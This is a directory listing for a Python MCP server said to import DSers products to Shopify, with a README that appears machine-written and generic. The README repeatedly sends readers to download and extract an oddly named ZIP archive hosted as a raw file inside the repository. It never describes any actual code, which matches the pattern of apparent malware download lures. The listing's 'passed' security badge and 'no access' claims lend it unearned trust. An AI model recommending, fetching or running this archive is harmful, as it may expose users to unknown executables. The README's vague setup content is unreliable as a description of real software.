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MCP verified MIT Self-run

Dsers Mcp Product Py

mcp-prathamithub-dsers-mcp-product-py · by PrathamITHub

Automate DSers product import, bulk variant edits, and Shopify push from AliExpress with AI using Python MCP server

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Install

$ agentstack add mcp-prathamithub-dsers-mcp-product-py

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Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access No
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

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Reliability & compatibility

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Declared compatibility

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Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

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About

🧩 dsers-mcp-product-py - Import DSers products with less effort

[](https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip)

🛠️ What this app does

dsers-mcp-product-py is a Python MCP server for DSers product import. It helps connect an AI agent or other MCP client to product import tasks for DSers and Shopify workflows.

Use it when you want a local tool that can take product data, send it through MCP, and support a dropshipping import flow. It runs on your computer and uses standard input and output, so it fits into many local AI setups.

📥 Download and set up on Windows

Follow these steps on a Windows PC.

1. Open the download page

Go to this link in your browser:

https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip

2. Get the files

On the GitHub page, look for the source code or release files. If you see a download option, use it. If you only see the repository page, download the project as a ZIP file.

3. Save the ZIP file

Save the file to a folder you can find again, such as:

  • Downloads
  • Desktop
  • Documents

4. Extract the folder

Right-click the ZIP file and choose Extract All.

After extraction, you should see a folder named dsers-mcp-product-py or a similar name.

5. Install Python

If Python is not already on your PC, install Python 3.10 or newer.

During setup, make sure you select:

  • Add Python to PATH

This makes it easier to run the app from the command line.

6. Open the project folder

Go into the extracted dsers-mcp-product-py folder.

7. Open Command Prompt

Inside the folder, click the address bar, type cmd, and press Enter.

8. Install the required packages

Run the app’s Python dependencies with:

pip install -r requirements.txt

If the project uses a different setup file, use the instructions in the repository files.

9. Run the server

Start the MCP server with the main Python file used by the project. Common file names include:

  • main.py
  • server.py
  • app.py

If the repository includes a clear run command, use that command from the project folder.

10. Connect your MCP client

Point your MCP client or AI tool to the local server so it can use the DSers product import features.

🧭 What you need on Windows

Use a Windows PC with:

  • A stable internet connection
  • Enough free space for the project files
  • Python 3.10 or newer
  • Permission to run local programs
  • A terminal such as Command Prompt or PowerShell

⚙️ Basic setup flow

The usual setup looks like this:

  1. Download the project from GitHub
  2. Extract the files
  3. Install Python if needed
  4. Install project packages
  5. Run the server
  6. Connect your MCP client

If your setup uses another Python environment, you can use that too. The main goal is to start the MCP server and keep it available for your local tools.

🔌 How this fits into your workflow

This project is built for product import work. It can help with:

  • DSers product import steps
  • Product data handling
  • Shopify-related import workflows
  • Local MCP client connections
  • AI agent tools that need product context

The server uses the Model Context Protocol, so it can act as a local bridge between your AI tool and product import logic.

📁 Typical project files

When you open the folder, you may see files like these:

  • README.md
  • requirements.txt
  • main.py
  • server.py
  • config files
  • package or environment files

These files help the app run and explain how to connect it to your MCP client.

🧰 If the app does not start

If the server does not open, check these items:

  • Python is installed
  • Python is added to PATH
  • You ran the command from the project folder
  • The packages finished installing
  • You used the correct Python file to start the server

If you see an error about missing packages, run the install step again.

If you see an error about the wrong file name, check the repository files for the main entry point.

🖥️ Common Windows commands

You may use these commands in Command Prompt:

  • cd folder-name
  • dir
  • python --version
  • pip --version
  • pip install -r requirements.txt
  • python main.py

These commands help you move into the folder, check your Python setup, and start the server.

🔍 What MCP means here

MCP stands for Model Context Protocol. In simple terms, it lets one tool talk to another in a shared way.

In this project, that means your AI app can connect to the DSers product import server and use it as part of a workflow.

📦 Suggested folder path

For easy access, keep the project in a simple path, such as:

C:\Users\YourName\Downloads\dsers-mcp-product-py

Short paths help avoid file path problems on Windows.

🧩 Example use case

A common use case is this:

  • You run the MCP server on your PC
  • Your AI tool connects to it
  • The tool uses the server for product import tasks
  • You move product data into a DSers or Shopify flow

This setup keeps the work local and easy to manage.

🛟 Simple troubleshooting

If you cannot open Command Prompt in the folder:

  • Open the folder first
  • Click the address bar
  • Type cmd
  • Press Enter

If Python runs but pip does not:

  • Reinstall Python
  • Check Add Python to PATH
  • Restart Command Prompt

If the server starts and then stops:

  • Read the last error line
  • Check for missing files
  • Make sure the install step completed

📚 Repository details

  • Repository name: dsers-mcp-product-py
  • Description: MCP server for DSers product import (Python version)
  • Topics: ai-agent, aliexpress, dropshipping, dsers, mcp, mcp-server, model-context-protocol, product-import, python, shopify, stdio

🏷️ File and tool notes

This is a Python-based local server. It is meant to work well with:

  • MCP clients
  • AI agents
  • Product import tools
  • Stdio-based connections

If your client asks for a server command, use the command from this project’s main Python entry file.

📌 Quick start path

  1. Open the GitHub page
  2. Download the project files
  3. Extract the ZIP
  4. Install Python
  5. Install dependencies
  6. Run the server
  7. Connect your MCP client

📎 Download again

Visit the GitHub repository to download and set up dsers-mcp-product-py

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

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Versions

  • v0.1.0 Imported from the upstream source.